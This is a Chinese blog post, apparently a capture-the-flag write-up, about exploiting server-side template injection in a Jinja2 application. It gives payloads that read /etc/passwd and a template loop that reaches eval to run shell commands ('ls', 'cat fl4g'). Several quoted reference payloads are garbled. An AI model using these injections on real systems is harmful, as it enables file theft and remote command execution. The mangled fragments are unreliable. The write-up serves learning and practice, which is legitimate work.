开局就懵逼,查了一堆资料也还是一知半解,先把参考内容放在前面,python学习得提上日程了。
三位大牛的链接,后续参考用:
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.cnblogs.com/wfzWebSecuity/p/9415641.html
解题:
开局一个这东西,虽然提示特别明显,但是我不会。
url后面输入{{1+1}}
出现了1+1=2的情况
后续就参考学习了前面的链接内容
获得如下关键字:
举几个例子:
读文件
().class.bases[0].subclasses()40.read()
写文件
().class.bases[0].subclasses()40.write(‘123’)
执行任意命令
().class.bases[0].subclasses()[59].init.func_globals.values()[13]‘eval’.read()’ )
说实话看不懂
照葫芦画瓢写payload吧
构筑:{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
获得用户名密码信息:
接下来就是遍历找flag。。。(不会python真难写
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
执行后:
嗯,将上述eval语句内的ls替换成cat fl4g即可
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
获得flag。。。。
看来后续没准会有更花的活。。。这次比赛结束后抓紧学python了。。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
- 最新
- 最热
只看作者啊这,老测试了